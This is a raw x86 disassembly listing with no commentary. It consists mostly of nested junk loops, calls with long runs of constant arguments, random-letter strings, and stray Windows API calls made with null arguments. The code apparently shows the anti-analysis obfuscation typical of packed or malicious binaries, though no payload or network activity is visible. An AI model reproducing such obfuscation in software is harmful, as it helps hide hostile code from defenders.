push 0x481a
call fcn.004c14d0
add esp, 0x3c
jmp 0x4b631c
jmp 0x4b62f6
mov byte [ebp - 0x6d], 0
mov dword [ebp - 0x4ec], 0x4a70
mov dword [ebp - 0x98c], str.xvcppvjvf_cauu_mjvn_ofxgedg_nwkhacx_qijiy_tixia_shlur_kpkhdsliv_nkmsjjrc_vuchkbnuf_kaedtvjn_pjj_tdmul
cmp dword [ebp - 0x4ec], 0x4c5b
jle 0x4b63f0
push 0x5478
push 0x36bd
push 0x6e9d
push 1
push 0
push 0x5d15
push 0x7b0b
push 0x1fc3
push 1
push 0x5bad
push 1
push 1
push 1
call fcn.004a6b85
add esp, 0x34
lea eax, [ebp - 0x6d]
push eax
push 0
push 0x7a73
call fcn.004c8b2f
add esp, 0xc
cmp dword [ebp - 0x4ec], 0x4823
jge 0x4b641f
mov edx, dword [ebp - 0x98c]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x7d8], 0x24c0
jge 0x4b643b
mov edx, dword [ebp - 0x844]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4b62b0
mov dword [ebp - 0x28], 0
jmp 0x4b6450
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x4b6ac3
mov dword [ebp - 0xc38], 0x64ba8b35
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x67c], 0
je 0x4b6a67
mov dword [ebp - 0x304], 1
mov dword [ebp - 0x504], 0x52ef
mov dword [ebp - 0x854], str.qufundy_jfoas_mer_ovxj_ejc
cmp dword [ebp - 0x504], 0x553f
jle 0x4b657a
and dword [ebp - 0x420], 0
jmp 0x4b64b9
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0xc0d
jge 0x4b6574
and dword [ebp - 0x184], 0
jmp 0x4b64df
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x5ca7
jge 0x4b656f
mov eax, dword [ebp - 0x420]
and eax, dword [ebp - 0x184]
cdq
mov dword [ebp - 0xb00], eax
mov dword [ebp - 0xafc], edx
push 0x40ba
push 0x482e
push 1
push 1
push 0x1be2
push 0
push 1
push 0x564d
push 0x3507
push 1
push 0x7cbd
push 1
push 1
push 0x6092
push 1
lea eax, [ebp - 0xb00]
push eax
push 0x5f80
push 0x6752
push 0x5445
push 1
push 0x4c94
push 0x2966
push 0x6bf7
call fcn.004b29ed
add esp, 0x5c
jmp 0x4b64d2
jmp 0x4b64ac
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x304], 0
jmp 0x4b6593
mov eax, dword [ebp - 0x304]
dec eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0
jl 0x4b6a29
mov dword [ebp - 0x18c], 0x7a9a9718
mov dword [ebp - 0x18c], 0
jmp 0x4b65c3
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jg 0x4b6a24
mov dword [ebp - 0x4f4], 0x5f07
mov dword [ebp - 0xa04], str.lgy_cuefpx_vip_uukry_xrcl_ovqojexun
cmp dword [ebp - 0x4f4], 0x6208
jle 0x4b6675
and dword [ebp - 0x3c4], 0
jmp 0x4b660a
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x1d3d
jge 0x4b6675
and dword [ebp - 0x194], 0
jmp 0x4b662c
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x257e
jge 0x4b6673
push 0
push 0x6b44
push 1
push 0x5e9e
push 0x260d
push 0
push 0x3843
push 1
push 0x28a4
push 0
lea eax, [ebp - 0x3c4]
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.004b1a0c
add esp, 0x30
jmp 0x4b661f
jmp 0x4b65fd
mov dword [ebp - 0x314], 0x30cc2fdc
push 0x1ffb
lea eax, [ebp - 0xa04]
push eax
push 0
push 1
push 1
push 0x4458
push 0x7fe4
push 0x2388
push 0x4a49
push 1
push 0x346a
push 1
push 0x4e22
push 0x531f
push 0x6fbd
push 0x52d1
push 1
push 1
lea eax, [ebp - 0x4f4]
push eax
push 0x679a
call fcn.004a2638
add esp, 0x50
mov dword [ebp - 0x674], 0x5016
mov dword [ebp - 0x84c], str.lpoauyid_tbdqwf_urxdi
cmp dword [ebp - 0x674], 0x50a6
jle 0x4b682d
and dword [ebp - 0x1a4], 0
jmp 0x4b6714
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x2c7e
jge 0x4b682d
and dword [ebp - 0x438], 0
jmp 0x4b673a
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x6d3f
jge 0x4b6828
and dword [ebp - 0x30c], 0
jmp 0x4b6760
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x761c
jge 0x4b6823
and dword [ebp - 0x19c], 0
jmp 0x4b6786
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x2157
jge 0x4b681e
mov eax, dword [ebp - 0x30c]
cdq
idiv dword [ebp - 0x19c]
mov eax, dword [ebp - 0x438]
mov ecx, edx
sar eax, cl
and eax, dword [ebp - 0x1a4]
cdq
mov dword [ebp - 0xb48], eax
mov dword [ebp - 0xb44], edx
push 0x4b4b
push 1
push 1
push 0x54b
push 0x74c4
push 0x5eb6
push 0x52ca
push 1
push 0x5a5f
push 1
lea eax, [ebp - 0xb48]
push eax
push 0x5f4
push 1
push 0x22c8
push 0x145
push 0x159e
push 0x321c
push 0x6243
push 0
push 1
call fcn.004aeb2c
add esp, 0x50
jmp 0x4b6779
jmp 0x4b6753
jmp 0x4b672d
jmp 0x4b6707
mov byte [ebp - 0x6f], 0
push 0x14c3
push 0x7546
lea eax, [ebp - 0x6f]
push eax
push 0x20b8
push 0x3895
push 0
push 0x7a19
push 1
push 1
push 0x554b
push 1
push 0x5758
push 0
push 1
push 0x2d97
push 0x5ca2
call fcn.004afdbe
add esp, 0x40
cmp dword [ebp - 0x674], 0x4fd0
jge 0x4b68af
push 1
push 0x5bcd
push 0x4cb6
lea eax, [ebp - 0x84c]
push eax
push 0
push 0x7f9
push 0x13db
push 1
push 1
push 0xb
call fcn.0049fd53
add esp, 0x28
mov dword [ebp - 0x314], 0
jmp 0x4b68c8
mov eax, dword [ebp - 0x314]
dec eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0
jl 0x4b6a1f
mov dword [ebp - 0x1ac], 0x5e3edfa8
mov dword [ebp - 0x1ac], 0
jmp 0x4b68f8
mov eax, dword [ebp - 0x1ac]
dec eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jl 0x4b6a1a
mov dword [ebp - 0x734], 0
mov dword [ebp - 0x4fc], 0x11fb
mov dword [ebp - 0x994], str.qenyyxcvh_vtqt_xls
cmp dword [ebp - 0x4fc], 0x14dd
jle 0x4b6985
and dword [ebp - 0x3cc], 0
jmp 0x4b6945
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x57d4
jge 0x4b6985
push 0x5f3e
push 0x3303
push 0
push 0x77ed
lea eax, [ebp - 0x3cc]
push eax
push 1
push 0
push 0x204b
push 1
push 1
push 0x74c3
call fcn.004a5961
add esp, 0x2c
jmp 0x4b6938
mov byte [ebp - 0x71], 0
movzx eax, byte [ebp - 0x71]
test eax, eax
je 0x4b69c1
push 0xa4b
push 0
push 1
push 0x7ba9
push 0x4214
push 1
push 0x1c4
push 0x6736
push 1
push 1
push 0x70a
call fcn.0049a629
add esp, 0x2c
push 0x5adc
push 1
push 0x753d
push 0x75b9
push 1
push 0x6b27
push 1
push 0x7332
push 0x6260
push 0x1222
push 1
push 1
push 0
lea eax, [ebp - 0x4fc]
push eax
push 1
lea eax, [ebp - 0x994]
push eax
call fcn.0049d214
add esp, 0x40
mov eax, dword [ebp - 0x734]
inc eax
mov dword [ebp - 0x734], eax
jmp 0x4b68eb
jmp 0x4b68bb
jmp 0x4b65b6
jmp 0x4b6586
cmp dword [ebp - 0x504], 0x5275
jge 0x4b6a65
push 0x3370
push 0x883
push 0x788b
push 1
push 1
lea eax, [ebp - 0x854]
push eax
push 0x23a7
push 0x6014
push 0
push 1
call fcn.0049b03a
add esp, 0x28
jmp 0x4b6abe
mov byte [ebp - 0x73], 0
movzx eax, byte [ebp - 0x73]
test eax, eax
je 0x4b6aac
push 1
push 0x6b58
push 1
push 0
push 0x201c
push 0x60e8
push 1
push 1
push 1
push 0x5603
push 0x784
push 0
push 0x286e
push 0x6b8
call fcn.004b0f6e
add esp, 0x38
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x67c], 0
je 0x4b6abe
jmp 0x4b6ac3
jmp 0x4b6449
lea eax, [ebp - 0x708]
push eax
lea eax, [ebp - 0x52c]
push eax
mov ecx, 0x2df334c
call fcn.0048dbf6
lea eax, [ebp - 0xc40]
push eax
mov ecx, 0x2df334c
call fcn.00417af4
push eax
lea ecx, [ebp - 0x52c]
call fcn.0048dc0b
movzx eax, al
test eax, eax
je 0x4b6f7a
mov dword [ebp - 0x50c], 0x220c
mov dword [ebp - 0x9dc], str.dkknpwb_picqtblt_tdoanbj_slckkph_xrqqcckag_cnrrsebor_rbo
cmp dword [ebp - 0x50c], 0x25c2
jle 0x4b6c0f
push 0
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
and dword [ebp - 0x1b4], 0
jmp 0x4b6b45
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xe3d
jge 0x4b6c01
and dword [ebp - 0x31c], 0
jmp 0x4b6b6b
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0x24bd
jge 0x4b6bfc
and dword [ebp - 0x1bc], 0
jmp 0x4b6b91
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x5d86
jge 0x4b6bf7
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x31c]
sar eax, cl
xor eax, dword [ebp - 0x1bc]
cdq
mov dword [ebp - 0xb58], eax
mov dword [ebp - 0xb54], edx
push 1
push 0x32e8
push 1
push 0x5db6
push 0x4f8
push 0
push 0x1e10
push 1
lea eax, [ebp - 0xb58]
push eax
push 0
push 0x35be
push 0x4de0
call fcn.004b1a0c
add esp, 0x30
jmp 0x4b6b84
jmp 0x4b6b5e
jmp 0x4b6b38
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 0x50], 0x15a13695
cmp dword [ebp - 0x50c], 0x1e27
jge 0x4b6c38
lea eax, [ebp - 0x9dc]
push eax
push 0
push 0x2ca6
call fcn.004c1887
add esp, 0xc
mov dword [ebp - 0x45c], 3
mov dword [ebp - 0x464], 5
mov dword [ebp - 0x794], 0x6542
mov dword [ebp - 0x85c], str.kssu_ltytdprft_msrravb_uov_vbfjourvi_ghmpvig_ocptdn_nnco_vqnlpvpwd
cmp dword [ebp - 0x794], 0x6660
jle 0x4b6d18
and dword [ebp - 0x400], 0
jmp 0x4b6c86
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x2711
jge 0x4b6d18
and dword [ebp - 0x1c4], 0
jmp 0x4b6cac
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x5481
jge 0x4b6d13
mov eax, dword [ebp - 0x400]
or eax, dword [ebp - 0x1c4]
cdq
mov dword [ebp - 0xb40], eax
mov dword [ebp - 0xb3c], edx
push 0x271d
push 0x377d
push 0
push 0x6c68
lea eax, [ebp - 0xb40]
push eax
push 0
push 0x4159
push 1
push 0x1904
push 1
push 0x2d88
push 1
push 1
push 1
push 0x7039
call fcn.0049e485
add esp, 0x3c
jmp 0x4b6c9f
jmp 0x4b6c79
push 2
lea ecx, [ebp - 0xa34]
call fcn.004179d7
cmp dword [ebp - 0x794], 0x62af
jge 0x4b6d61
push 0x7d38
push 1
push 0x459b
push 1
lea eax, [ebp - 0x85c]
push eax
push 0x3d21
push 0
push 0x77ef
push 1
push 0x651d
call fcn.004c7fe5
add esp, 0x28
mov dword [ebp - 0x38], 0
jmp 0x4b6d71
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x4b6d8d
push dword [ebp - 0x38]
lea ecx, [ebp - 0xa34]
call fcn.00417bb8
mov dword [eax], 0xdb84c6a3
jmp 0x4b6d6a
mov dword [ebp - 0x38], 0
jmp 0x4b6d9d
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x4b6db3
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xbe0], 0xfffffff8
jmp 0x4b6d96
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xc7c], eax
mov eax, 0xc7a00f47
test eax, eax
je 0x4b6ec1
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x50], eax
jne 0x4b6ddd
mov dword [ebp - 0x514], 1
jmp 0x4b6de4
and dword [ebp - 0x514], 0
imul eax, dword [ebp - 0x514], 0xadac
test eax, eax
je 0x4b6e04
cmp dword [ebp - 0x50], 0
je 0x4b6e04
mov dword [ebp - 0x684], 1
jmp 0x4b6e0b
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x684], eax
je 0x4b6e22
mov dword [ebp - 0x51c], 1
jmp 0x4b6e29
and dword [ebp - 0x51c], 0
cmp dword [ebp - 0x51c], 0xafa01777
ja 0x4b6e41
mov dword [ebp - 0x73c], 1
jmp 0x4b6e48
and dword [ebp - 0x73c], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x73c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x464]
dec eax
cmp eax, dword [ebp - 0x50]
jne 0x4b6e84
cmp dword [ebp - 0x45c], 0
je 0x4b6e84
mov dword [ebp - 0x99c], 1
jmp 0x4b6e8b
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x464], eax
jne 0x4b6ea2
mov dword [ebp - 0x524], 1
jmp 0x4b6ea9
and dword [ebp - 0x524], 0
cmp dword [ebp - 0x524], 0xf7c6
jge 0x4b6ec1
mov dword [ebp - 0x68c], 1
jmp 0x4b6ec8
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x68c]
je 0x4b6edf
mov dword [ebp - 0x46c], 1
jmp 0x4b6ee6
and dword [ebp - 0x46c], 0
push 0
lea ecx, [ebp - 0xa34]
call fcn.00417bb8
mov ecx, dword [ebp - 0x46c]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x46c]
mov dword [ebp + eax - 0xbe0], ecx
lea eax, [ebp - 0xa34]
push eax
push 0x5f96
push 1
push 1
push 0
push 0
push 0x503f
push 0x1b97
push 1
push 0x7902
push 0x745c
push 0x4352
call fcn.004c2457
add esp, 0x30
lea ecx, [ebp - 0xa34]
call fcn.00417aef
lea ecx, [ebp - 0x52c]
call fcn.004cb0f5
mov eax, dword [eax + 4]
mov dword [ebp - 0x864], eax
lea ecx, [ebp - 0xb94]
call fcn.0048d9b7
mov eax, dword [ebp - 0x864]
jmp 0x4bd940
and dword [ebp - 0x9c], 0
lea eax, [ebp - 0xb94]
push eax
call fcn.0049116a
pop ecx
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jne 0x4bceb9
mov dword [ebp - 0x7c4], 0x35f6
mov dword [ebp - 0xa0c], str.xpfuse_uxunudoft_ctd_nepgen_hxpfl_clvdveiuq
cmp dword [ebp - 0x7c4], 0x3719
jle 0x4b7065
push 0
push 0
call dword [sym.imp.USER32.dll_GetClientRect]
and dword [ebp - 0x324], 0
jmp 0x4b6fe5
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x248
jge 0x4b7065
and dword [ebp - 0x1cc], 0
jmp 0x4b7007
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x380d
jge 0x4b7060
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1cc]
cdq
mov dword [ebp - 0xa58], eax
mov dword [ebp - 0xa54], edx
push 1
push 0
push 1
push 0x38ed
push 0x61c8
push 1
lea eax, [ebp - 0xa58]
push eax
push 0x5391
push 0x8b0
push 0
push 0x70d7
call fcn.004a172e
add esp, 0x2c
jmp 0x4b6ffa
jmp 0x4b6fd8
mov dword [ebp - 0x10], 0x24a8c6a5
push 1
push 0x5cc6
lea eax, [ebp - 0xa0c]
push eax
push 1
push 0x7a2f
push 0x2c83
push 1
push 0
push 1
push 1
push 0x3f79
push 0xc2
push 0x7c47
push 0x6f44
push 0x42f5
push 1
lea eax, [ebp - 0x7c4]
push eax
push 0x3cca
call fcn.004ac344
add esp, 0x48
mov dword [ebp - 0x6a4], 0xedd1edb6
mov dword [ebp - 0x3d4], 0
jmp 0x4b70e0
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 2
jge 0x4b70fc
mov eax, dword [ebp - 0x3d4]
mov dword [ebp + eax*4 - 0xbd4], 0x78254981
jmp 0x4b70d3
mov dword [ebp - 0x10], 0xffffffef
jmp 0x4b710c
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x1a
jge 0x4b73d8
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x53c], 1
cmp dword [ebp - 0x24], 0xffffffff
ja 0x4b71ef
cmp dword [ebp - 0x10], 0
jne 0x4b7146
cmp dword [ebp - 0x10], 0
jne 0x4b7146
and dword [ebp - 0x534], 0
jmp 0x4b7150
mov dword [ebp - 0x534], 1
imul eax, dword [ebp - 0x534], 0
add eax, dword [ebp - 0x24]
je 0x4b716e
cmp dword [ebp - 0x24], 0
je 0x4b716e
mov dword [ebp - 0x694], 1
jmp 0x4b7175
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x694], eax
jl 0x4b718c
mov dword [ebp - 0x744], 1
jmp 0x4b7193
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
cmp eax, dword [ebp - 0x744]
jge 0x4b71b6
mov dword [ebp - 0x544], 1
jmp 0x4b71bd
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x544]
jg 0x4b71d4
mov dword [ebp - 0x69c], 1
jmp 0x4b71db
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x69c], eax
jg 0x4b71ef
and dword [ebp - 0x54c], 0
jmp 0x4b71f9
mov dword [ebp - 0x54c], 1
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x74c], 0x4f5
mov dword [ebp - 0x9a4], str.sabu_qjshc_sqgnycff_vstp_uir_nuymuit_xpnkw_qokrao_husdwk
cmp dword [ebp - 0x74c], 0x53d
jle 0x4b72d2
and dword [ebp - 0x1d4], 0
jmp 0x4b723c
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x4c32
jge 0x4b72d2
and dword [ebp - 0x32c], 0
jmp 0x4b7262
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x6e46
jge 0x4b72cd
push 0x5802
push 0x795f
push 0x6b0
push 0x4e73
push 0x69b5
push 0x37e7
push 1
push 1
push 1
push 1
lea eax, [ebp - 0x1d4]
push eax
push 0x598b
push 0x7c97
lea eax, [ebp - 0x32c]
push eax
push 1
push 1
push 0x2ff2
push 0x1bd5
push 0x3e34
push 0
push 0
call fcn.004af79b
add esp, 0x54
jmp 0x4b7255
jmp 0x4b722f
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x10]
test eax, eax
je 0x4b736c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc84], eax
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x24], eax
jle 0x4b72fe
mov dword [ebp - 0x79c], 1
jmp 0x4b7305
and dword [ebp - 0x79c], 0
imul eax, dword [ebp - 0x79c], 0xb000
cmp dword [ebp - 0x10], eax
je 0x4b7320
mov dword [ebp - 0x86c], 1
jmp 0x4b7327
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc8c], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jne 0x4b7344
mov dword [ebp - 0x554], 1
jmp 0x4b734b
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 0
je 0x4b736c
mov dword [ebp - 0x55c], 1
jmp 0x4b7373
and dword [ebp - 0x55c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x55c]
mov dword [ebp + eax - 0xbd4], ecx
cmp dword [ebp - 0x74c], 0x156
jge 0x4b73d3
push 0x765b
push 1
push 0x50
push 0x966
push 1
push 0xfcc
push 1
push 1
push 0xb63
push 0x28ad
push 1
push 1
push 0
push 0x7acf
lea eax, [ebp - 0x9a4]
push eax
push 1
push 1
call fcn.00499d0e
add esp, 0x44
jmp 0x4b7105
mov dword [ebp - 0x564], 0x1943
mov dword [ebp - 0x874], str.hoewufny_vypesxw_vpf_phn_gnw_dew_prmwbgul
cmp dword [ebp - 0x564], 0x1ca0
jle 0x4b746f
and dword [ebp - 0x1dc], 0
jmp 0x4b740e
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x3a53
jge 0x4b746f
and dword [ebp - 0x404], 0
jmp 0x4b7430
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0x130c
jge 0x4b746d
mov eax, dword [ebp - 0x1dc]
or eax, dword [ebp - 0x404]
cdq
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x90c], edx
push dword [ebp - 0x90c]
push dword [ebp - 0x910]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4b7423
jmp 0x4b7401
push 0x3332
push 0x878
push 0
push 0x6f8a
push 0x2959
push 1
push 0x137b
push 1
push 0x15e4
push 1
lea eax, [ebp - 0x10]
push eax
push 1
push 1
push 1
push 0x5db5
call fcn.0049e485
add esp, 0x3c
cmp dword [ebp - 0x564], 0x18ea
jge 0x4b74e1
push 0x6d43
push 1
lea eax, [ebp - 0x874]
push eax
push 0x252a
push 0x694d
push 0x4a0e
push 0
push 1
call fcn.004c2b23
add esp, 0x20
cmp dword [0x2df3210], 0
jne 0x4bca65
push 4
lea ecx, [ebp - 0xb7c]
call fcn.004179d7
mov dword [ebp - 0x80], 0xaa32b1ce
mov dword [ebp - 0x1e4], 0
jmp 0x4b751b
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 4
jge 0x4b753d
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0xb7c]
call fcn.00417bb8
mov dword [eax], 6
jmp 0x4b750e
mov dword [ebp - 0x80], 3
jmp 0x4b754d
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jl 0x4b7a42
mov dword [ebp - 0x6ac], 0x47b7
mov dword [ebp - 0x9e4], str.rqflj_updoshs_woomn_fikldx_udhl_njau_xnqpto_resld_wukgfsyg_wqisduan_gnmlmisxd_ngdse
cmp dword [ebp - 0x6ac], 0x4873
jle 0x4b75d3
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 0x573
push 1
push 0
push 0x6fcd
push 0
push 0x5a5d
push 0x192
push 1
push 1
push 1
push 0x9b1
push 1
push 0x3d36
push 0x4914
push 0x13e5
push 1
call fcn.004b2517
add esp, 0x40
push 0x5bac
push 0
call fcn.004c5ab9
pop ecx
pop ecx
push 0
push 0
push 1
push 0
lea eax, [ebp - 0x9e4]
push eax
push 0x323e
push 0
push 0x718e
push 0x659a
push 0x11e2
push 0x5f5e
push 0x6617
push 0x7afc
push 0x628d
push 0x1cad
push 0x1db2
push 1
push 0x2c91
push 0x65b9
lea eax, [ebp - 0x6ac]
push eax
call fcn.004c46d6
add esp, 0x50
mov dword [ebp - 0x334], 0
jmp 0x4b764a
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 1
jge 0x4b7666
mov eax, dword [ebp - 0x334]
mov dword [ebp + eax*4 - 0x87c], 0xffffffff
jmp 0x4b763d
push dword [ebp - 0x80]
lea ecx, [ebp - 0xb7c]
call fcn.00417bb8
xor ecx, ecx
sub ecx, dword [ebp - 0x80]
cmp dword [eax], ecx
jg 0x4b7689
mov dword [ebp - 0x56c], 1
jmp 0x4b7690
and dword [ebp - 0x56c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x56c]
mov dword [ebp + eax - 0x87c], ecx
mov dword [ebp - 0x6b4], 0x4989
mov dword [ebp - 0x938], str.pnyblaa_siuicr_rbkf_gti_lbl_uua_xswbybash_yujmdjdlm_txtrnktg_nvydaewq_wlkwmefo_xnskdfug_rnbyo_stvjfard
cmp dword [ebp - 0x6b4], 0x49a3
jle 0x4b77f2
and dword [ebp - 0x33c], 0
jmp 0x4b76dd
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x79be
jge 0x4b77f2
and dword [ebp - 0x1f4], 0
jmp 0x4b7703
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x2edd
jge 0x4b77ed
and dword [ebp - 0x1ec], 0
jmp 0x4b7729
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x34fb
jge 0x4b77e8
and dword [ebp - 0x3dc], 0
jmp 0x4b774f
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0x1a24
jge 0x4b77e3
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [ebp - 0x3dc]
sar eax, cl
and eax, dword [ebp - 0x1f4]
or eax, dword [ebp - 0x33c]
cdq
mov dword [ebp - 0xaf8], eax
mov dword [ebp - 0xaf4], edx
push 0x7c1a
push 1
push 0x435e
push 1
push 1
push 0x3ce8
push 0x1d5d
push 0x1869
push 1
push 1
push 0x76b4
push 0x520d
push 0
push 0x549c
lea eax, [ebp - 0xaf8]
push eax
push 0x5d8c
push 0x10e0
push 1
push 0
push 1
push 0x948
call fcn.004b37d1
add esp, 0x54
jmp 0x4b7742
jmp 0x4b771c
jmp 0x4b76f6
jmp 0x4b76d0
mov byte [ebp - 0x61], 0
mov dword [ebp - 0x574], 0x7daf
mov dword [ebp - 0x884], str.sawnoo_osfasgsbq_cyihsq_fxommdw_cqxpvhvl_alyok
cmp dword [ebp - 0x574], 0x7fbb
jle 0x4b78b3
and dword [ebp - 0x1fc], 0
jmp 0x4b7830
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x6c83
jge 0x4b7883
push 0x1897
push 1
push 0x75dd
push 0x4e29
push 0x2889
push 1
push 1
push 0
push 0x15f7
push 1
push 0x8a7
push 1
lea eax, [ebp - 0x1fc]
push eax
push 0x168c
push 1
push 0x515c
call fcn.00497e8d
add esp, 0x40
jmp 0x4b7823
push 0x1fff
push 0xb10
push 0x3f69
push 0x68fe
push 0
push 0x3b2f
push 1
push 1
push 0
push 0x2d38
push 1
call fcn.004c275b
add esp, 0x2c
movzx eax, byte [ebp - 0x61]
test eax, eax
je 0x4b79dc
mov dword [ebp - 0x7dc], 0x2b21
mov dword [ebp - 0x930], str.yhsbedep_hmw_lieoxm_npx_rteepclo_ulxfhhl_rlbojtlpd_qci_xtha
cmp dword [ebp - 0x7dc], 0x2d23
jle 0x4b79b4
and dword [ebp - 0x40c], 0
jmp 0x4b78f9
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0x52b8
jge 0x4b79b4
and dword [ebp - 0x204], 0
jmp 0x4b791f
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x219e
jge 0x4b79af
mov eax, dword [ebp - 0x40c]
xor eax, dword [ebp - 0x204]
cdq
mov dword [ebp - 0xa68], eax
